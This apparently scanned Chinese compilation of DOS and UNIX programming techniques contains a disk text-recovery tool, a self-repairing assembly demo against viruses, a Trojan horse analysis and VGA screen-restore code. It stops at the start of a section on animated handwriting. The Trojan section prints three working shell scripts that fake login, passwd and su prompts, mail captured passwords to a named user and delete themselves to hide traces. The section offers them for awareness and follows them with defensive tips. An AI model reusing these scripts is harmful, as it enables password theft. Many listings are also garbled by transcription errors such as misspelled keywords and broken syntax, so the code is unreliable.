目　录

第一部分　计算机及外设的应用与控制技术

第二部分　文字处理技术

第三部分　数据库应用

第四部分 语言与编程

第五部分　图形图象处理

第六部分　网络与多用户操作系统

第一部分　计算机及外设的应用与控制技术

1.1　实用磁盘文本文件抢救工具

当磁盘发生意外而遭非物理性损坏时，若没有写入新文件，则大部分源文件和源程序是可以挽救的。本程序不涉及已损坏的文件目录表和分配表，采用读逻辑扇区的方法实现恢复工作。顺序读数据扇区，每次读一扇区 512 字节。根据源文件和源程序在 512 字节中至少有一个换行和回车符作为源文件的判定。如满足条件，则第一步显示所读内容，询问是否存入新文件；第二步按任意键继续读下一扇区，ESC 键退出。否则做第二步。为了以后编辑方便，凡遇到文件结束符(1AH)都转换为换行符；因同时存在换行和回车符造成编辑时的隔行现象，所以滤掉了回车符。在显示中，若有鸣铃字符(07H)则会减慢显示速度和弄出噪音，因此把它换为空格。本工具用 Turbo C2.0 编写。

源程序清单：

```
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <dos.h>
main()
  { int i,j;
    char d,name[12],buf[512],yn;
    FILE *fname;
    int bl;
    textbackground(BLUE);
    clrscr();
    window(20,8,60,18);
    textbackground(GREEN);
    textcolor(YELLOW);
    clrscr();
    gotoxy(4,2);
    cprintf("which device you want to read?");
    do{
      d=toupper(getch());
    }while(d! ='A'&&d! ='B');
    putchar(d);
    gotoxy(4,4);
```

```
cprintf("write to file name:");
scanf("%s",name);
gotoxy(4,6);
cprintf("The beginning sector:");
scanf("%d",&i);
if((fname=fopen(name,"w+"))==NULL)
  {
    fprintf(stderr,"Cannot open output file. %(s/n",name);
    return 1;
  }
do {
  if (absread(d-'A',1,i,&buf)! =0)
    {
    perror("Disk problem\n");
    exit(1);
    }
  j=0;
  bl=0;
  do{
    if((buf[j]=='\n'||buf[j]==0×8d)&&buf[j+1]=='\r')
          bl=1
    if(buf[j]==0×ad
          buf[j]=' ';
    jf(buf[j]==0×la)
          buf[j]='\n';
    if(buf[j]=='\a')
          buf[j]=' ';
    j++;
    }
while(j<512);
window(1,1,79,2);
textbackground(GREEV);
clrscr();
gotoxy(1,1);
cprintf(" The disk read service");
gotoxy(56,1);
cprintf("Proccssing sector:%d",i);
window(1,3,79,23);
textbackground(3);
textcolor(BLUE);
clrscr();
  if(b1)
    { for(j=0;j<512;j++)
```

```
            { cprintf("%c",buf[j]);
              if(buf[j]='\r')
                buf[j]=' ';
            }
          window(1,24,79,25);
          textbackground(MAGENTA);
          textcolor(BLACK);
          clrscr();
          gotoxy(4,2);
          cprintf("        If or not write to file? (Y/N");
          do{
            yn=toupper(getch());
          }while(yn! ='Y'&&yn! ='N');
          if(yn=='Y')
          if((fwrite(buf,1,512,fname))! =512)
            {printf("Wrtie disk error! \n");
              return 1;
            }
        }
      window(1,24,79,25);
      textbackground(MAGENTA);
      textcolor(BLACK);
      clrscr();
      gotoxy(4,2);
      cprintf("        Press any key to continue... or ESC to exit");
      if((getch())==27)
        break;
      i++;
    }while(1);
  fclose(fname);
}
```

(邱素刚)

1.2 文件自保护技术

由于计算机病毒的泛滥,如何提高计算机信息的安全性成为一个亟待解决的问题,为此,许多反病毒软件,防病毒卡应运而生,它们在某种程度上减少了病毒造成的危害,但反病毒软件对病毒的防疫是被动性的,即先出现了某种病毒,然后才会产生清除这种病毒的软件,这之间出现了一个时间差,而防病毒卡,它起的作用主要是防止病毒发作,来减少病毒造成的危害。安装了防病毒卡后不可避免会引起许多误判断,把原本是正常的操作(如:正常改写文件,属于正常情况下的格式化特定磁道)误判为是病毒行为,增添了操作人员额外负担。

那么，有没有方法把目前对病毒的被动性防御变为主动性防御，而且尽量少地利用外界工具(即上面所说的反病毒软件，防病毒卡等)呢？答案是肯定的。笔者编制了一个程序，从实践上证明这种方法在防止病毒传播方面是有效的。

在介绍该方法之前，先看一下硬件关于容错方面的概念。在高准确度要求的环境下，可以用增加冗余设备的方法来提高数据准确度，就存储系统而言，我们可用三台存储器存储同一内容，取用数据时，把三台存储器中的相关数据都取出来，然后把这三组数据进行比较，可用多数相同者选用的原则来选用数据。比如：有两组数据相同，而与另一组数据不同，那么就取两组都相同的数据作为主机运算用的数据。

由此得到启示，我们可把硬件容错概念向软件方面引伸。为了防止以软件形式存放的数据信息被破坏，我们可把同一数据设置在几个数据区。取用时，把几个数据区的相关数据都取出来，把它们比较之后再选用，一般可按多数相同者选用的原则。

笔者又把这一冗余容错方法用在程序代码上。原本一个程序中只有一组代码，现在在一个程序中设几组相同的代码，运行程序时先比较这几组代码，如果几组代码都相同，那么可认为程序是完好的，于是正常执行该程序(只需执行其中一组代码)。如果发现这几组代码间存在差异，那么就按多数相同者选用的原则，先用正确代码把出现差错的那组代码改正过来，然后继续执行该程序。

计算机病毒主要是通过修改程序代码进行传播，如果我在程序中放 2～3 组相同代码，目前的计算机病毒一般只能修改一组代码，而且一般是处于程序前部的那组代码，从理论上说，如果设置有几组相同代码的程序被计算机病毒入侵，则通过这 2～3 组代码之间的比较就可修复该程序。(在程序下一次运行时自然修复，不需任何外来工具。)

笔者用这种方法编制了一个示例程序，取名为 selp. asm，把它编译成 com 文件即可。编译后的字节数为 546。笔者用 1591 病毒去入侵它，病毒入侵后字节数变为 2135。用干净 DOS 盘(DOS3. 3)重新启动 selp 程序运行后，再检查它的字节数，发现又恢复为 546。

把原文件的备份 zzzselp. com(没被 1591 病毒感染过，用 A＞copy selp. com zzzselp. com 的方法获得)与自保护恢复后的文件 selp com 用 comp 进行比较。比较结果如下：

A：selp. com and A：zzzselp. com

Eof mark not found

Files compare ok

由此可见前后两文件完全一样。

注：

笔者在编程时，本想用比较各组代码的方法来决定是否需修正程序后再执行后继程序段。当我用 1591 病毒入侵来检验时，发现竟然无效，原来是病毒程序在先执行了它本身后，完全恢复了原程序代码，所以比较时各组代码完全一样。鉴于此，并且考虑到病毒一般从文件头或尾入侵，那么就可设置三组相同程序代码，以中间的那组代码作为依据，文件运行时首先用中间的那组代码改写前后两组代码，再接着执行该程序，这样就可把文件恢复原内容，如果有病毒入侵，同时也把病毒给清除了。

从演示的角度出发，笔者所编的 selp. com 程序里，只安排了两组程序代码。

程序　SELP. ASM 清单：

```
code segment public
```

```
assume cs:code,ds :code,es:code
    org 100h
start:jmp begin
filel db'selp.com',0
msgl db 0ah,0dh,'I am a self_protect demo program.¥'
msg2 db 0ah,0dh,'Hello,This program is O.K.¥
msg3 db 07h,07h,0dh,0ah,'Program has been damaged,but I repaired myself.¥'
msg4 db 0ah,0dh,'repair error.',¥'
begin:  mov dx,offset msg1
    mov ah,09h
    int 21h
    cld
    mov cx,102h
    mov si,220h
    mov di,100h
    repz cmpsb
    jmp repair
    mov dx,offset msg2
    mov ah,09h
    int 21h
    mov ah,4ch
    mov al,01h;  terminate program
    int 21h
repair:cld
    mov cx,102h
    mov si,220h
    mov di,100h
lopl:lodsb
    stosb
    loop lopl
    mov ax,cs
    mov ds,ax
    mov dx,offset file2
    mov al,01
    mov ah,3dh
    int 21h
    jc err
    mov bx,ax
    mov ah,40h
    mov cx,222h
    mov dx 100h
    int 21h
    mov cx,0
```

```
        mov ah,40h
        int 21h
        mov ah,3eh
        int 21h
        mov dx,offset msg3
        mov ah,09h
        int 21h
        mov ah,4ch
        mov al,01
        int 21h
err:mov dx,offset msg4
        mov ah,09h
        int 21h
        mov ax,4c01h
        int 21h
assume cs:code,ds:code,es:code
        org 220h
start2:jmp begin2
file2 db 'selp.com',0
msg11 db 0ah,0dh,'I am a self_protect demo program. ¥'
msg22 db 0ah,0dh,'Hello,This program is O.K. ¥'
msg33 db 07h,07h,0dh,0ah,'Program has been damaged,but I repaired myself. ¥'
msg44 db 0ah,0dh,'repair error.','¥'
begin2:mov dx,offset msg1
        mov ah,09h
        int 21h
        cld
        mov cx,0102h
        mov si,220h
        mov di,100h
        repz cmpsb
        jmp repair2
        mov dx,offset msg2
        mov ah,09h
        int 21h
        mov ah,4ch
        mov al,01h;terminate program
        int 21h
repair2:cld
        mov cx,102h
        mov si,220h
        mov di,100h
lop2:lodsb
```

```
    stosb
    loop lop2
    mov ax,cs
    mov ds,ax
    mov dx,offset file2
    mov al,01
    mov ah,3dh
    int 21h
    jc err2
    mov bx,ax
    mov ah,40h
    mov cx,222h
    mov dx,100h
    int 21h
    mov cx,0
    mov ah,40h
    int 21h
    mov ah 3eh
    int 21h
    mov dx,offset msg3
    mov ah,09h
    int 21h
    mov ah,4ch
    mov al,01
    int 21h
err2:mov dx,offest msg4
    mov ah,09h
    int 21h
    mov ax,4c01h
    int 21h
code    ends
    end start
```

（陈立志）

1.3 特洛依木马的剖析与防御

在一个 UNIX 的多用户系统中，用户的口令失窃，就意味着用户的使用权被窃取，对用户造成伤害。故提高计算机用户的安全意识非常重要。特洛依木马是一种常见的入侵方式，以下是本人对特洛依木马病毒的一些分析，目的是让读者对这一类病毒有个大概的了解，从而增强防范的意识。

1. **特洛依木马的剖析**

特洛依木马入侵的思想是制造一个输入口令的假现场，诱骗大意的用户前来输入口令，用户只是以为敲错了键，而特洛依木马却完成了窃取口令的使命，返回真实的现场。制造者们细心地考虑真实现场可能会出现的各种情况，力求达到以假乱真的效果。

通常有下列的三种模拟现场：

(1)登录 Altos login：现场；

(2)修改口令 password 现场；

(3)以 su 进入超级用户登录现场。

2. **三个特洛依木马的程序清单**

```
#模拟 Altos login：登录现场。
trap""0 2 3 15#忽略 ctrl-d，中断，退出，软件终断的信号。
clear
echo"Altos login：\c"
read username
echo ¥username>/tmp/kk¥¥
#用户如不输入，则仍旧显示"Alots login："等待用户输入。
While test -r/tmp/kk¥¥ -a"¥username"
do
echo"Altos login：\c"
read username
done
stty -echo
echo"Password：\c"
read ok
if[ -n "¥ok"]
then
echo
echo"Login incorrect"
else
echo
echo"Login incorrect"
fi
hghg='tty'
hh='date'
echo ¥username ¥ok ¥hghg ¥hh |mail yxy168# 以邮件的形式发给用户 yxy168。
stty echo
#以杀进程的形式退出特洛依木马，返回真实现场。
uu='tty|cut -c9-'
if ["¥uu"="sole"]
then
oo=' ps|grep con|cut -cl-6|sed -n'lp'|tr -d'''
else
```

```
oo=' ps |grep ¥uu|cut -cl-6|sed -n'lp'|'tr—d'''
fi
kill -9 ¥00
rm/tmp/kk¥¥
fi
```

这是一个较成熟的特洛依木马程序，它产生逼真的登录现场：用户暂不输入而打入回车，屏幕仍旧显示"Altos login"，诱骗用户输入口令。唯一不足之处是当用户打入 Ctrl-d 时会真相毕露。

```
#模拟修改口令 passwd 现场。
trap""0,2,3,9,15
yyee='whoami'
ujuj='date'
echo"Changing passwd for ¥yyee"
stty -echo
echo "old passwd:\c"
read username
echo
echo"New passwd:\c"
read pass
echo ¥pass>/tmp/kkjj¥¥
less='wc -c/tmp/kkjj¥¥|cut -cl-8|tr -d''
if [¥less -ge 6]
then
echo
echo"Password must contain at least two alphabetc characters and at least one numeric of special character."
#当用户输入的新口令大于 6 个字符时，显示出错信息。
else
echo
echo"Password is too short-must be at least 6 digits"
fi
rm/tmp/kkjj¥¥
echo passwd:¥username ¥pass ¥ujuj |mail yxy168#以邮件的形式发给用户 yxy168。
echo"Sorry"
Stty echo
(rm ¥HOME/passwd)#自毁特洛依木马，不留入侵痕迹。
exec/bin/passwd#转入真实的/bin/passwd
#模拟 su 进入超级用户现场。
trap""0 2 3 9 15
stty -echo
echo"Password:\c"
read username
stty echo
```

```
if[ -z"¥username"]
then
echo
echo"su:Sorry"
exit
else
hh='date'
echo ¥username ¥hh|mail yxy168
echo
echo"su:Sorry"
(rm ¥HOME/su)#自毁特洛依木马 su,用户再敲入 su,则执行/bin/su。
fi
```

3. 特洛依木马的防御措施

(1)确保你的.profile 文件对他人不可读、写。在你的 PATH 中,把非系统目录包括当前工作目录排在系统目录之后(/bin:/usr/bin:¥HOME/bin::)。窃取者通过制造 Altos login 登录假现场,passwd 修改口令假现场,su 进入超级用户的假现场。仅当用户的.profile 文件中的路径 PATH 设置成首先搜索当前目录,特洛依木马 passwd 和 su 可能藏在你的¥HOME/bin 目录下的某个文件中,特洛依木马方可执行。PATH 被设置成首先搜索当前目录,那么受入侵的机会将大大减少。

(2)用 Ctrl-d 或 exit 注销系统,在断开与系统的联接之前等待看到"Altos login"提示。

(3)在登录时,第一次有意识打错口令。

(4)定期检查你的¥HOME/bin 目录下的文件

(5)不要离开你的未注销的终端,以免他人做手脚。

(6)当你运行别人的程序时,要特别注意,它可能对你的文件、目录有改变。

(7)若你的终端是"智能"终端(某些字符序列(换码序列),将使终端做某些事情,而不是显示原序列)时,应留意来自其他用户的邮件(write mail 具有 setuid),它们可能含有换码序列的功能。

以上程序均在 Altos system V version 5.3 e 运行通过。

(叶向阳)

1.4 VGA 汉字屏幕的保存与恢复

VGA 正常汉字显示一般是工作在方式 12H 下,这种方式显示缓冲区被组织成存储位平面方式。此时,显示缓冲区被分成 4 个独立的可寻址的存储位平面(I、R、G、B),各代表亮度、红、绿、蓝,屏幕上的一个象素由 4 个存储位平面中同一地址的各一位组合而成,所以颜色可达 16 种。每个位平面起始地址都为 A0000H,长度为 38400 字节(640×480/8),CPU 通过位平面读或写挑选寄存器,决定对哪一个位平面进行读或写操作,也可以同时处理 4 个位平面。这是有别于其他显示方式连续内存组织的特点。

要保存当前屏幕,必须要读取显示内存。VGA 提供了两种读取显示内存的方法:读方式 0

和读方式 1。读方式 0 是通过设置“存储位平面读挑选寄存器”来完成的，它需要对 4 个位平面按单个位平面处理，并按需要一个一个地读取，只能同时处理单个位平面，读方式 0 通过设置“颜色比较寄存器”，对于所给定的颜色，在某个地址上，以比较的方式可同时读取 4 个位平面中的内容。读方式 0 是 BIOS 的缺省读方式。使用读方式 0，需进行如下三步操作：首先，要设置“读方式 0”，可通过设置 GDC 方式寄存器的位 3 来完成，它的地址为 3CEH，使用索引号为 5；接着，设置“存储位平面寄存器”值，使之挑选要读取的存储位平面（0、1、2、3、）；它的地址为 3CEH，使用索引号为 4；最后，通过主机的寻址指令读取所挑选的位平面中相应地址处的内容。对于保存整个屏幕，读方式 0 只需读 4 次，而读方式 1 需要比较每一点的每一种颜色，需要重复 16 次，所以读方式 0 较为简便有效。保存屏幕的整个流程为：创建图形文件、设置读方式 0、依次选 4 个位平面的一个并连续写到图形文件、关闭图形文件。源程序见《中国计算机用户》1992 年第 4 期刘旭东“FoxBASE$^+$2.10 及其实用工具”。

恢复屏幕即从保存屏幕的图形文件读取数据并写到显示缓冲区中。相应的，必须依次读取 4 个位平面的数据，写到各自的位平面中去。VGA 有 4 种写方式，我们适用的是写方式 0，此时 CPU 的数据要写往显示内存时，先要经由当前移位设置（GDC3 号被索引寄存器）的值进行右循环移位，对每个位与锁存器的数据字节按当前的逻辑功能设置进行逻辑操作后，才写入到每个位平面中去。因为只是原原本本恢复屏幕，所以设置成 CPU 数据不移位直接写入位平面。恢复屏幕的整个流程为：打开图形文件、设置写方式 0、设置数据循环移位和功能选择寄存器为不移位直接写入、读取图形文件数据并依次写到 4 个位平面中去、关闭图形文件。源程序附后。

需要注意的是，恢复屏幕之前，关闭了时钟中断，恢复完毕后再重新设置回去。考虑到与保存屏幕程序相对应，恢复屏幕程序也是为编译成 FoxBASE 调用模块而写。这两个程序都可以很容易地改为编译成 COM 文件在 DOS 下运行。程序已在 COMPAQ 386 和 2.13H、金山 SPDOS 下运行通过。

程序清单：

```
code segment byte public 'code'
    assume cs : code,ds : code,es : code,ss : code
getscr proc far
    jmp start
    scrfile db 20 dup(0)      ;图形文件名缓冲区
    fpscr dw 0                ;图形文件指针
start : push bx               ;保存 FOX 调用入口参数地址
    push ds
    ;屏蔽时钟中断
    in al,21h
    push ax
    or al,01h
    out 21h,al
    ;取 FOX 调用入口参数到图形文件名缓冲区
    mov si,bx
    mov ax,cs
    mov es,ax
```

```
        mov di,offset scrfile
        mov cx,0
xfer:lodsb
        cmp al,0
        jz end_xfer
        inc cx
        stosb
        jmp xfer
end_xfer:stosb
        ;打开图形文件供读
        mov ax,cs
        mov ds,ax
        mov dx,offset scrfile
        mov al,0
        mov ah,3dh
        int 21h
        mov fpscr,ax
        ;设置图形控制方式寄存器为写方式 0
        mov ax,0005h
        mov dx,3ceh
        call portout
        ;设置数据直接写入显示缓冲区
        mov ax,0003h
        mov dx,3ceh
        call portout
        mov ah,00000001b ;第一位平面
labl:push ax
        ;挑选写位平面
        mov al,02h
        mov dx,3c4h
        call portout
        ;从图形文件读数据写到一个位平面
        mov bx,cs:fpscr
        mov cx,38400d ;位平面大小
        mov ax,0a000h 显示缓冲区段地址
        mov ds,ax
        mov dx,0
        mov ah,3fh
        int 21h
        pop ax
        shl ah,1 ;下一个位平面
        cmp ah,00010000b ;写完四个位平面?
        jnz labl ;没写完继续
```

```
        mov ax,cs
        mov ds,ax
        ;关闭图形文件
        mov bx,fpscr
        mov ah,3eh
        int 21h
        ;恢复存储位平面写挑选寄存器
        mov ax,0002h
        mov dx,3c4h
        call portout
        ;恢复时钟中断
        pop ax
        out 21h,al
        pop ds ;恢复 FOX 调用入口参数地址
        pop bx
        ret
getscr endp
        ;写 I/O 口子程序
portout proc near
        push ax
        out dx,al
        inc dx
        xchg ah,al
        out dx,al
        dec dx
        pop dx
        ret
portout endp
code ends
        end
```

（黄红松　庞　洁）

1.5　动态模拟手写字符

许多商品软件都有一个新颖漂亮的题头，如果我们能给自己开发的应用软件加上一个漂亮的题头，不仅能增加软件的新颖性，趣味性，而且还能显示一些实用信息，如版权、软件名称等。这里介绍一种用动态模拟手写字符来实现软件题头的方法。

1. 方法原理

所谓动态模拟手写字符，就是将字符中的点阵按笔画顺序依次显示在屏幕上，在显示字符点阵的同时，有一支笔沿着字符点阵同步移动，为了实现这个动作，必须在点阵象素一级进行。在实践中，笔者摸索出了如下方法：